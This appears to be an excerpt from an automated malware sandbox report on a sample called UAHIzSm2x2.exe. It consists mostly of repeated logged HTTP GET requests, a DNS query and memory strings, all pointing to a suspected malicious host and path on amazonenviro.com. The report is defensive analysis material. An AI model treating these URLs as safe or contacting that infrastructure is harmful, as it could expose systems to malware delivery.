Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: global traffic

DNS traffic detected: DNS query: amazonenviro.com

Source: UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg
Source: UAHIzSm2x2.exe, 00000000.00000003.3053592631.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg(
Source: UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg.mui
Source: UAHIzSm2x2.exe, 00000000.00000003.3053592631.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg0
Source: UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg1
Source: UAHIzSm2x2.exe, 00000000.00000003.2956290671.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg5
Source: UAHIzSm2x2.exe, 00000000.00000003.3053706651.000000000084A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_AiymwhpjxsgC
Source: UAHIzSm2x2.exe, 00000000.00000003.2898002791.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_AiymwhpjxsgJh
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_AiymwhpjxsgP
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsgl
Source: UAHIzSm2x2.exe, 00000000.00000003.3053592631.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsgp
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsgt
Source: UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsgxk6v
Source: UAHIzSm2x2.exe, 00000000.00000003.2956388004.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/5
Source: UAHIzSm2x2.exe, 00000000.00000003.2301934670.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/Bbe
